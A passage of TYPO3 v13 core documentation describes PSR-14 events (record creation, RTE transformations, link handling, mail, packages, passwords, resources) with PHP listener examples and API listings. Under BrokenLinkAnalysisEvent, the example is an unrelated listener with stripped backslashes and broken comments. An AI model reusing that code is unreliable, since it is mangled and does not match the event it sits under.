        if ($rawRecord->getMainType() !== 'tt_content') {
            return;
        }
        if ($rawRecord->getRecordType() !== 'maps') {
            return;
        }
        if (!$event->hasProperty('coordinates')) {
            return;
        }
        $event->setProperty(
            'coordinates',
            new Coordinates($event->getProperty('coordinates')),
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

The model could for example look like this:

EXT:my_extension/Classes/Domain/Model/Coordinates.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

class Coordinates
{
    public float $latitude = 0.0;
    public float $longitude = 0.0;

    /**
     * @param mixed $value - Accepts a string (e.g., "12.34,56.78")
     */
    public function __construct(mixed $value)
    {
        if (is_string($value)) {
            $parts = explode(',', $value);
            if (count($parts) === 2) {
                $this->latitude = (float)trim($parts[0]);
                $this->longitude = (float)trim($parts[1]);
            }
        }
    }
}
Copied!

API

class RecordCreationEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Event\RecordCreationEvent

Event which allows to manipulate the properties to be used for a new Record.

With this event, it's even possible to create a new Record manually.

setRecord ( \TYPO3\CMS\Core\Domain\RecordInterface $record)
param $record

the record

isPropagationStopped ( )
Returns
bool
hasProperty ( string $name)
param $name

the name

Returns
bool
setProperty ( string $name, ?mixed $propertyValue)
param $name

the name

param $propertyValue

the propertyValue

setProperties ( array $properties)
param $properties

the properties

unsetProperty ( string $name)
param $name

the name

Returns
bool
getProperty ( string $name)
param $name

the name

Returns
?mixed
getProperties ( )
Returns
array
getRawRecord ( )
Returns
\TYPO3\CMS\Core\Domain\RawRecord
getSystemProperties ( )
Returns
\TYPO3\CMS\Core\Domain\Record\SystemProperties
getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context
getRecordIdentityMap ( )
Returns
\TYPO3\CMS\Core\Domain\Persistence\RecordIdentityMap
getSchema ( )

If available this is the subSchema for the current record type

Returns
\TYPO3\CMS\Core\Schema\TcaSchema

AfterTransformTextForPersistenceEvent

New in version 13.3

Modify data when saving rich-text-editor (RTE) content to the database (persistence). As opposed to BeforeTransformTextForPersistenceEvent this event is executed after TYPO3 applied any kind of internal transformations like for links.

When using a RTE HTML content element, two transformations take place within the TYPO3 backend:

  • From database: Fetching the current content from the database (persistence) and preparing it to be displayed inside the RTE HTML component.
  • To database: Retrieving the data returned by the RTE and preparing it to be persisted into the database.

This event can modify the later part. This allows developers to apply more customized transformations, apart from the internal and API ones.

Event listeners can use $value = $event->getHtmlContent() to get the current contents, apply changes to $value and then store the manipulated data via $event->setHtmlContent($value), see example:

Example: Transform a text before saving to database

An event listener class is constructed which will take a RTE input TYPO3 and internally store it in the database as [tag:typo3]. This could allow a content element data processor in the frontend to handle this part of the content with for example internal glossary operations.

The workflow would be:

  • Editor enters "TYPO3" in the RTE instance.
  • When saving, this gets stored as "[tag:typo3]".
  • When the editor sees the RTE instance again, "[tag:typo3]" gets replaced to "TYPO3" again.
  • So: The editor will always only see "TYPO3" and not know how it is internally handled.
  • The frontend output receives "[tag:typo3]" and could do its own content element magic, other services accessing the database could also use the parseable representation.

The corresponding event listener class:

EXT:my_extension/Classes/EventListener/TransformListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Html\Event\AfterTransformTextForPersistenceEvent;
use TYPO3\CMS\Core\Html\Event\AfterTransformTextForRichTextEditorEvent;

class TransformListener
{
    /**
     * Transforms the current value the RTE delivered into a value that is stored (persisted) in the database.
     */
    #[AsEventListener('rtehtmlparser/modify-data-for-persistence')]
    public function modifyPersistence(AfterTransformTextForPersistenceEvent $event): void
    {
        $value = $event->getHtmlContent();
        $value = str_replace('TYPO3', '[tag:typo3]', $value);
        $event->setHtmlContent($value);
    }

    /**
     * Transforms the current persisted value into something the RTE can display
     */
    #[AsEventListener('rtehtmlparser/modify-data-for-richtexteditor')]
    public function modifyRichTextEditor(AfterTransformTextForRichTextEditorEvent $event): void
    {
        $value = $event->getHtmlContent();
        $value = str_replace('[tag:typo3]', 'TYPO3', $value);
        $event->setHtmlContent($value);
    }
}
Copied!

API of AfterTransformTextForPersistenceEvent

class AfterTransformTextForPersistenceEvent
Fully qualified name
\TYPO3\CMS\Core\Html\Event\AfterTransformTextForPersistenceEvent

Event that is fired after RteHtmlParser modified the HTML input from RTE editor to the database (for example transforming linebreaks)

getHtmlContent ( )
Returns
string
setHtmlContent ( string $htmlContent)
param $htmlContent

the htmlContent

getInitialHtmlContent ( )
Returns
string
getProcessingConfiguration ( )
Returns
array

AfterTransformTextForRichTextEditorEvent

New in version 13.3

Modify data when retrieving content from the database and pass to the rich-text-editor (RTE). As opposed to BeforeTransformTextForRichTextEditorEvent this event is executed after TYPO3 applied any kind of internal transformations like for links.

When using a RTE HTML content element, two transformations take place within the TYPO3 backend:

  • From database: Fetching the current content from the database (`persistence`) and preparing it to be displayed inside the RTE HTML component.
  • To database: Retrieving the data returned by the RTE and preparing it to be persisted into the database.

This event can modify the first part. This allows developers to apply more customized transformations, apart from the internal and API ones.

Event listeners can use $value = $event->getHtmlContent() to get the current contents, apply changes to $value and then store the manipulated data via $event->setHtmlContent($value), see example: Example: Transform a text before saving to database.

API of AfterTransformTextForRichTextEditorEvent

class AfterTransformTextForRichTextEditorEvent
Fully qualified name
\TYPO3\CMS\Core\Html\Event\AfterTransformTextForRichTextEditorEvent

Event that is fired after RteHtmlParser modified the HTML input from the database to the RTE editor (for example transforming linebreaks)

getHtmlContent ( )
Returns
string
setHtmlContent ( string $htmlContent)
param $htmlContent

the htmlContent

getInitialHtmlContent ( )
Returns
string
getProcessingConfiguration ( )
Returns
array

BeforeTransformTextForPersistenceEvent

New in version 13.3

Modify data when saving rich-text-editor (RTE) content to the database (persistence). As opposed to AfterTransformTextForPersistenceEvent this event is executed before TYPO3 applied any kind of internal transformations like for links.

For a detailed description on how to use this event, see the corresponding after event: AfterTransformTextForPersistenceEvent.

For an example see Example: Transform a text before saving to database.

API of BeforeTransformTextForPersistenceEvent

class BeforeTransformTextForPersistenceEvent
Fully qualified name
\TYPO3\CMS\Core\Html\Event\BeforeTransformTextForPersistenceEvent

Event that is fired before RteHtmlParser modified the HTML input from RTE editor to the database (for example transforming linebreaks)

getHtmlContent ( )
Returns
string
setHtmlContent ( string $htmlContent)
param $htmlContent

the htmlContent

getInitialHtmlContent ( )
Returns
string
getProcessingConfiguration ( )
Returns
array

BeforeTransformTextForRichTextEditorEvent

New in version 13.3

Modify data when retrieving content from the database and pass to the rich-text-editor (RTE). As opposed to AfterTransformTextForRichTextEditorEvent this event is executed before TYPO3 applied any kind of internal transformations like for links.

For a detailed description on how to use this event, see the corresponding after event: AfterTransformTextForRichTextEditorEvent.

For an example see Example: Transform a text before saving to database.

API of BeforeTransformTextForRichTextEditorEvent

class BeforeTransformTextForRichTextEditorEvent
Fully qualified name
\TYPO3\CMS\Core\Html\Event\BeforeTransformTextForRichTextEditorEvent

Event that is fired before RteHtmlParser modified the HTML input from the database to the RTE editor (for example transforming linebreaks)

getHtmlContent ( )
Returns
string
setHtmlContent ( string $htmlContent)
param $htmlContent

the htmlContent

getInitialHtmlContent ( )
Returns
string
getProcessingConfiguration ( )
Returns
array

BrokenLinkAnalysisEvent

The PSR-14 event \TYPO3\CMS\Core\Html\Event\BrokenLinkAnalysisEvent can be used to get information about broken links set in the rich text editor (RTE).

The procedure for marking the broken links in the RTE is as follow:

  1. The RTE content is fetched from the database. Before it is displayed in the edit form, RTE transformations are performed.
  2. The transformation function parses the text and detects links.
  3. For each link, a new PSR-14 event is dispatched.
  4. If a listener is attached, it may set the link as broken and will set the link as "checked".
  5. If a link is detected as broken, RTE will mark it as broken.

This functionality is implemented in the system extension linkvalidator. Other extensions can use the event to override the default behaviour.

Example

An event listener class is constructed which will take a RTE input TYPO3 and internally store it in the database as [tag:typo3]. This could allow a content element data processor in the frontend to handle this part of the content with for example internal glossary operations.

The workflow would be:

  • Editor enters "TYPO3" in the RTE instance.
  • When saving, this gets stored as "[tag:typo3]".
  • When the editor sees the RTE instance again, "[tag:typo3]" gets replaced to "TYPO3" again.
  • So: The editor will always only see "TYPO3" and not know how it is internally handled.
  • The frontend output receives "[tag:typo3]" and could do its own content element magic, other services accessing the database could also use the parseable representation.

The corresponding event listener class:

<?php

declare(strict_types=1);

namespace MyVendorMyExtensionEventListener;

use TYPO3CMSCoreAttributeAsEventListener; use TYPO3CMSCoreHtmlEventAfterTransformTextForPersistenceEvent; use TYPO3CMSCoreHtmlEventAfterTransformTextForRichTextEditorEvent;

class TransformListener { /** Transforms the current value the RTE delivered into a value that is stored (persisted) in the database. / #[AsEventListener('rtehtmlparser/modify-data-for-persistence')] public function modifyPersistence(AfterTransformTextForPersistenceEvent $event): void { $value = $event->getHtmlContent(); $value = str_replace('TYPO3', '[tag:typo3]', $value); $event->setHtmlContent($value); }

/**
  • Transforms the current persisted value into something the RTE can display

*/

#[AsEventListener('rtehtmlparser/modify-data-for-richtexteditor')] public function modifyRichTextEditor(AfterTransformTextForRichTextEditorEvent $event): void { $value = $event->getHtmlContent(); $value = str_replace('[tag:typo3]', 'TYPO3', $value); $event->setHtmlContent($value); }

}

API

class BrokenLinkAnalysisEvent
Fully qualified name
\TYPO3\CMS\Core\Html\Event\BrokenLinkAnalysisEvent

Event that is fired to validate if a link is valid or not.

isPropagationStopped ( )
Returns
bool
getLinkType ( )

Returns the link type as string

Returns
string
getLinkData ( )

Returns resolved LinkService data, depending on the type

Returns
array
param $reason

the reason, default: ''

Returns
bool
getReason ( )
Returns
string

ModifyRecordOverlayIconIdentifierEvent

New in version 13.0

This PSR-14 event has been introduced, serving as a more flexible replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['TYPO3\CMS\Core\Imaging\IconFactory']['overrideIconOverlay'] .

The PSR-14 event \TYPO3\CMS\Core\Imaging\Event\ModifyRecordOverlayIconIdentifierEvent allows extension authors to modify the overlay icon identifier of any record icon. Extensions can listen to this event and perform necessary modifications to the overlay icon identifier based on their requirements.

Example

EXT:my_extension/Classes/Core/EventListener/ModifyRecordOverlayIconIdentifierEventListener.php
<?php

declare(strict_types=1);

namespace Vendor\MyExtension\Imaging\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Imaging\Event\ModifyRecordOverlayIconIdentifierEvent;

#[AsEventListener(
    identifier: 'my-extension/imaging/modify-record-overlay-icon-identifier',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyRecordOverlayIconIdentifierEvent $event): void
    {
        if ($event->getTable() === 'tx_myextension_domain_model_mytable') {
            $event->setOverlayIconIdentifier('my-overlay-icon-identifier');
        }
    }
}
Copied!

New in version 13.0

API

class ModifyRecordOverlayIconIdentifierEvent
Fully qualified name
\TYPO3\CMS\Core\Imaging\Event\ModifyRecordOverlayIconIdentifierEvent

Listeners to this event are able to modify the overlay icon identifier of any record icon

setOverlayIconIdentifier ( string $overlayIconIdentifier)
param $overlayIconIdentifier

the overlayIconIdentifier

getOverlayIconIdentifier ( )
Returns
string
getTable ( )
Returns
string
getRow ( )
Returns
array
getStatus ( )
Returns
array

AfterLinkResolvedByStringRepresentationEvent

New in version 13.0

This event has been introduced as a more powerful replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['Link']['resolveByStringRepresentation'] .

The PSR-14 event \TYPO3\CMS\Core\LinkHandling\Event\AfterLinkResolvedByStringRepresentationEvent is being dispatched after the \TYPO3\CMS\Core\LinkHandling\LinkService has tried to resolve a given t3:// URN using defined link handlers.

The event can not only be used to resolve custom link types, but also to modify the link result data of existing link handlers. Additionally, it can be used to resolve situations where no handler could be found for a t3:// URN.

Example

EXT:my_extension/Classes/LinkHandling/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\LinkHandling\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\LinkHandling\Event\AfterLinkResolvedByStringRepresentationEvent;

#[AsEventListener(
    identifier: 'my-extension/after-link-resolved-by-string-representation',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterLinkResolvedByStringRepresentationEvent $event): void
    {
        if (str_contains($event->getUrn(), 'myhandler://123')) {
            $event->setResult([
                'type' => 'my-type',
            ]);
        }
    }
}
Copied!

New in version 13.0

API

class AfterLinkResolvedByStringRepresentationEvent
Fully qualified name
\TYPO3\CMS\Core\LinkHandling\Event\AfterLinkResolvedByStringRepresentationEvent

Listeners are able to modify the resolved link result data

getResult ( )
Returns
array
setResult ( array $result)
param $result

the result

getUrn ( )
Returns
string
getResolveException ( )
Returns
?\TYPO3\CMS\Core\Exception

AfterTypoLinkDecodedEvent

New in version 13.0

This event has been introduced to avoid extending/XCLASSing the \TYPO3\CMS\Core\LinkHandling\TypoLinkCodecService . Extending/XCLASSing no longer works since TYPO3 v13, as the TypoLinkCodecService has been declared as final and readonly.

The PSR-14 event \TYPO3\CMS\Core\LinkHandling\Event\AfterTypoLinkDecodedEvent allows developers to fully manipulate the decoding of TypoLinks.

A common use case for extensions is to extend the TypoLink parts to allow editors adding additional information, for example, custom attributes can be inserted to the link markup.

Example

EXT:my_extension/Classes/LinkHandling/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\LinkHandling\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\LinkHandling\Event\AfterTypoLinkDecodedEvent;

#[AsEventListener(
    identifier: 'my-extension/after-typolink-decoded',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterTypoLinkDecodedEvent $event): void
    {
        $typoLink = $event->getTypoLink();
        $typoLinkParts = $event->getTypoLinkParts();

        if (str_contains($typoLink, 'foo')) {
            $typoLinkParts['foo'] = 'bar';
            $event->setTypoLinkParts($typoLinkParts);
        }
    }
}
Copied!

New in version 13.0

API

class AfterTypoLinkDecodedEvent
Fully qualified name
\TYPO3\CMS\Core\LinkHandling\Event\AfterTypoLinkDecodedEvent

Listeners are able to modify the decoded link parts of a TypoLink

getTypoLinkParts ( )
Returns
array
setTypoLinkParts ( array $typoLinkParts)
param $typoLinkParts

the typoLinkParts

Returns
string
getDelimiter ( )
Returns
string
getEmptyValueSymbol ( )
Returns
string

BeforeTypoLinkEncodedEvent

New in version 13.0

This event has been introduced to avoid extending/XCLASSing the \TYPO3\CMS\Core\LinkHandling\TypoLinkCodecService . Extending/XCLASSing no longer works since TYPO3 v13, as the TypoLinkCodecService has been declared as final and readonly.

The PSR-14 event \TYPO3\CMS\Core\LinkHandling\Event\BeforeTypoLinkEncodedEvent allows developers to fully manipulate the encoding of TypoLinks.

A common use case for extensions is to extend the TypoLink parts to allow editors adding additional information, for example, custom attributes can be inserted to the link markup.

Example

EXT:my_extension/Classes/LinkHandling/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\LinkHandling\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\LinkHandling\Event\BeforeTypoLinkEncodedEvent;

#[AsEventListener(
    identifier: 'my-extension/before-typolink-encoded',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeTypoLinkEncodedEvent $event): void
    {
        $typoLinkParameters = $event->getParameters();

        if (str_contains($typoLinkParameters['class'] ?? '', 'foo')) {
            $typoLinkParameters['class'] .= ' bar';
            $event->setParameters($typoLinkParameters);
        }
    }
}
Copied!

New in version 13.0

API

class BeforeTypoLinkEncodedEvent
Fully qualified name
\TYPO3\CMS\Core\LinkHandling\Event\BeforeTypoLinkEncodedEvent

Listeners are able to modify the to be encoded TypoLink parameters

getParameters ( )
Returns
array
setParameters ( array $parameters)
param $parameters

the parameters

getTypoLinkParts ( )
Returns
array
getDelimiter ( )
Returns
string
getEmptyValueSymbol ( )
Returns
string

AfterMailerSentMessageEvent

The PSR-14 event \TYPO3\CMS\Core\Mail\Event\AfterMailerSentMessageEvent is dispatched as soon as the message has been sent via the corresponding \Symfony\Component\Mailer\Transport\TransportInterface. It receives the current mailer instance, which depends on the implementation - usually \TYPO3\CMS\Core\Mail\Mailer . It contains the \Symfony\Component\Mailer\SentMessage object, which can be retrieved using the getSentMessage() method.

Example

EXT:my_extension/Classes/Mail/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Mail\EventListener;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Mail\Event\AfterMailerSentMessageEvent;
use TYPO3\CMS\Core\Mail\Mailer;

#[AsEventListener(
    identifier: 'my-extension/process-sent-message',
)]
final readonly class MyEventListener
{
    public function __construct(
        private LoggerInterface $logger,
    ) {}

    public function __invoke(AfterMailerSentMessageEvent $event): void
    {
        $mailer = $event->getMailer();
        if (!$mailer instanceof Mailer) {
            return;
        }

        $sentMessage = $mailer->getSentMessage();
        if ($sentMessage !== null) {
            $this->logger->debug($sentMessage->getDebug());
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterMailerSentMessageEvent
Fully qualified name
\TYPO3\CMS\Core\Mail\Event\AfterMailerSentMessageEvent

This event is fired once a Mailer has sent a message and allows listeners to execute further code afterwards, depending on the result, e.g. the SentMessage.

Note: Usually TYPO3CMSCoreMailMailer is given to the event. This implementation allows to retrieve the SentMessage using the getSentMessage() method. Depending on the Transport, used to send the message, this might also be NULL.

getMailer ( )
Returns
\Symfony\Component\Mailer\MailerInterface

BeforeMailerSentMessageEvent

The PSR-14 event \TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent is dispatched before the message is sent by the mailer and can be used to manipulate the \Symfony\Component\Mime\RawMessage and the \Symfony\Component\Mailer\Envelope. Usually a \Symfony\Component\Mime\Email or \TYPO3\CMS\Core\Mail\FluidEmail instance is given as RawMessage. Additionally the mailer instance is given, which depends on the implementation - usually \TYPO3\CMS\Core\Mail\Mailer . It contains the \Symfony\Component\Mailer\Transport object, which can be retrieved using the getTransport() method.

Example

This event adds an additional BCC receiver right before the mail is sent:

EXT:my_extension/Classes/Mail/EventListener/AddMailMessageBcc.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Mail\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent;
use TYPO3\CMS\Core\Mail\MailMessage;

#[AsEventListener(
    identifier: 'my-extension/add-mail-message-bcc',
)]
final readonly class AddMailMessageBcc
{
    public function __invoke(BeforeMailerSentMessageEvent $event): void
    {
        $message = $event->getMessage();
        if ($message instanceof MailMessage) {
            $message->addBcc('me@example.com');
        }
        $event->setMessage($message);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeMailerSentMessageEvent
Fully qualified name
\TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent

This event is fired before the Mailer has sent a message and allows listeners to manipulate the RawMessage and the Envelope.

Note: Usually TYPO3CMSCoreMailMailer is given to the event. This implementation allows to retrieve the TransportInterface using the getTransport() method.

getMessage ( )
Returns
\Symfony\Component\Mime\RawMessage
setMessage ( \Symfony\Component\Mime\RawMessage $message)
param $message

the message

getEnvelope ( )
Returns
?\Symfony\Component\Mailer\Envelope
setEnvelope ( ?\Symfony\Component\Mailer\Envelope $envelope = NULL)
param $envelope

the envelope, default: NULL

getMailer ( )
Returns
\Symfony\Component\Mailer\MailerInterface

AfterPackageActivationEvent

The PSR-14 event \TYPO3\CMS\Core\Package\Event\AfterPackageActivationEvent is triggered after a package has been activated.

Example

EXT:my_extension/Classes/Package/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Package\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Package\Event\AfterPackageActivationEvent;

#[AsEventListener(
    identifier: 'my-extension/extension-activated',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterPackageActivationEvent $event)
    {
        if ($event->getPackageKey() === 'my_extension') {
            $this->executeInstall();
        }
    }

    private function executeInstall(): void
    {
        // do something
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterPackageActivationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\AfterPackageActivationEvent

Event that is triggered after a package has been activated

getPackageKey ( )
Returns
string
getType ( )
Returns
string
getEmitter ( )
Returns
?object

AfterPackageDeactivationEvent

The PSR-14 event \TYPO3\CMS\Core\Package\Event\AfterPackageDeactivationEvent is triggered after a package has been deactivated.

Example

API

class AfterPackageDeactivationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\AfterPackageDeactivationEvent

Event that is triggered after a package has been de-activated

getPackageKey ( )
Returns
string
getType ( )
Returns
string
getEmitter ( )
Returns
?object

BeforePackageActivationEvent

The PSR-14 event \TYPO3\CMS\Core\Package\Event\BeforePackageActivationEvent is triggered before a number of packages should become active.

Example

API

class BeforePackageActivationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\BeforePackageActivationEvent

Event that is triggered before a number of packages should become active

getPackageKeys ( )
Returns
array

PackageInitializationEvent

New in version 13.0

The PSR-14 event \TYPO3\CMS\Core\Package\Event\PackageInitializationEvent allows listeners to execute custom functionality after an extension has been activated.

The event is being dispatched at several places, where extensions get activated. Those are, for example:

  • on extension installation by the extension manager
  • on calling the typo3 extension:setup command.

The main component dispatching the event is the \TYPO3\CMS\Core\Package\PackageActivationService .

Developers are able to listen to the new event before or after the TYPO3 Core listeners have been executed, using before and after in the listener registration. All listeners are able to store arbitrary data in the event using the addStorageEntry() method. This is also used by the Core listeners to store their result.

Example

EXT:my_extension/Classes/Package/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Package\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Package\Event\PackageInitializationEvent;
use TYPO3\CMS\Core\Package\Initialization\ImportExtensionDataOnPackageInitialization;

#[AsEventListener(
    identifier: 'my-extension/package-initialization',
    after: ImportExtensionDataOnPackageInitialization::class,
)]
final readonly class MyEventListener
{
    public function __invoke(PackageInitializationEvent $event): void
    {
        if ($event->getExtensionKey() === 'my_extension') {
            $event->addStorageEntry(__CLASS__, 'my result');
        }
    }
}
Copied!

New in version 13.0

API

class PackageInitializationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\PackageInitializationEvent

Event that is triggered after a package has been activated (or required in composer mode), allowing listeners to execute initialization tasks, such as importing static data.

getExtensionKey ( )
Returns
string
getPackage ( )
Returns
\TYPO3\CMS\Core\Package\PackageInterface
getContainer ( )
Returns
?\Psr\Container\ContainerInterface
getEmitter ( )
Returns
?object
hasStorageEntry ( string $identifier)
param $identifier

the identifier

Returns
bool
getStorageEntry ( string $identifier)
param $identifier

the identifier

Returns
\TYPO3\CMS\Core\Package\PackageInitializationResult
addStorageEntry ( string $identifier, ?mixed $data)
param $identifier

the identifier

param $data

the data

removeStorageEntry ( string $identifier)
param $identifier

the identifier

PackagesMayHaveChangedEvent

The PSR-14 event \TYPO3\CMS\Core\Package\Event\PackagesMayHaveChangedEvent is a marker event to ensure that Core is re-triggering the package ordering and package listings.

Example

API

class PackagesMayHaveChangedEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\PackagesMayHaveChangedEvent

Marker event to ensure that Core is re-triggering the package ordering and package listings

BeforeJavaScriptsRenderingEvent

The PSR-14 event \TYPO3\CMS\Core\Page\Event\BeforeJavaScriptsRenderingEvent is fired once before \TYPO3\CMS\Core\Page\AssetRenderer::render[Inline]JavaScript renders the output.

Example

API

class BeforeJavaScriptsRenderingEvent
Fully qualified name
\TYPO3\CMS\Core\Page\Event\BeforeJavaScriptsRenderingEvent

This event is fired once before TYPO3CMSCorePageAssetRenderer::render[Inline]JavaScript renders the output.

getAssetCollector ( )
Returns
\TYPO3\CMS\Core\Page\AssetCollector
isInline ( )
Returns
bool
isPriority ( )
Returns
bool

BeforeStylesheetsRenderingEvent

The PSR-14 event \TYPO3\CMS\Core\Page\Event\BeforeStylesheetsRenderingEvent is fired once before \TYPO3\CMS\Core\Page\AssetRenderer::render[Inline]Stylesheets renders the output.

Example

API

class BeforeStylesheetsRenderingEvent
Fully qualified name
\TYPO3\CMS\Core\Page\Event\BeforeStylesheetsRenderingEvent

This event is fired once before TYPO3CMSCorePageAssetRenderer::render[Inline]Stylesheets renders the output.

getAssetCollector ( )
Returns
\TYPO3\CMS\Core\Page\AssetCollector
isInline ( )
Returns
bool
isPriority ( )
Returns
bool

EnrichPasswordValidationContextDataEvent

The PSR-14 event \TYPO3\CMS\Core\PasswordPolicy\Event\EnrichPasswordValidationContextDataEvent allows extensions to enrich the EXT:core/Classes/PasswordPolicy/Validator/Dto/ContextData.php (GitHub) DTO used in the password policy validation.

The PSR-14 event is dispatched in all classes where a user password is validated against the globally configured password policy.

Example

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\PasswordPolicy\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\PasswordPolicy\Event\EnrichPasswordValidationContextDataEvent;

#[AsEventListener(
    identifier: 'my-extension/enrich-context-data-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(EnrichPasswordValidationContextDataEvent $event): void
    {
        if ($event->getInitiatingClass() === DataHandler::class) {
            $event->getContextData()->setData('currentMiddleName', $event->getUserData()['middle_name'] ?? '');
            $event->getContextData()->setData('currentEmail', $event->getUserData()['email'] ?? '');
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class EnrichPasswordValidationContextDataEvent
Fully qualified name
\TYPO3\CMS\Core\PasswordPolicy\Event\EnrichPasswordValidationContextDataEvent

Event is dispatched before the ContextData DTO is passed to the password policy validator.

Note, that the $userData array will include user data available from the initiating class only. Event listeners should therefore always consider the initiating class name when accessing data from getUserData().

getContextData ( )
Returns
\TYPO3\CMS\Core\PasswordPolicy\Validator\Dto\ContextData
getUserData ( )
Returns
array
getInitiatingClass ( )
Returns
string

Resource

The following list contains PSR-14 events in EXT:core, namespace Resource.

Contents:

AfterDefaultUploadFolderWasResolvedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterDefaultUploadFolderWasResolvedEvent allows to modify the default upload folder after it has been resolved for the current page or user.

Example

EXT:my_extension/Classes/Resource/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Resource\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Resource\Event\AfterDefaultUploadFolderWasResolvedEvent;

#[AsEventListener(
    identifier: 'my-extension/after-default-upload-folder-was-resolved',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterDefaultUploadFolderWasResolvedEvent $event): void
    {
        $event->setUploadFolder($event->getUploadFolder()->getStorage()->getFolder('/'));
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterDefaultUploadFolderWasResolvedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterDefaultUploadFolderWasResolvedEvent

Event that is fired after the default upload folder for a user was checked

getUploadFolder ( )
Returns
?\TYPO3\CMS\Core\Resource\FolderInterface
setUploadFolder ( \TYPO3\CMS\Core\Resource\FolderInterface $uploadFolder)
param $uploadFolder

the uploadFolder

getPid ( )
Returns
?int
getTable ( )
Returns
?string
getFieldName ( )
Returns
?string

AfterFileAddedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileAddedEvent is fired after a file was added to the resource storage / driver.

Example: Using listeners for this event allows, for example, to post-check permissions or perform specific analysis of files like additional metadata analysis after adding them to TYPO3.

Example

API

class AfterFileAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileAddedEvent

This event is fired after a file was added to the Resource Storage / Driver.

Use case: Using listeners for this event allows to e.g. post-check permissions or specific analysis of files like additional metadata analysis after adding them to TYPO3.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

AfterFileAddedToIndexEvent

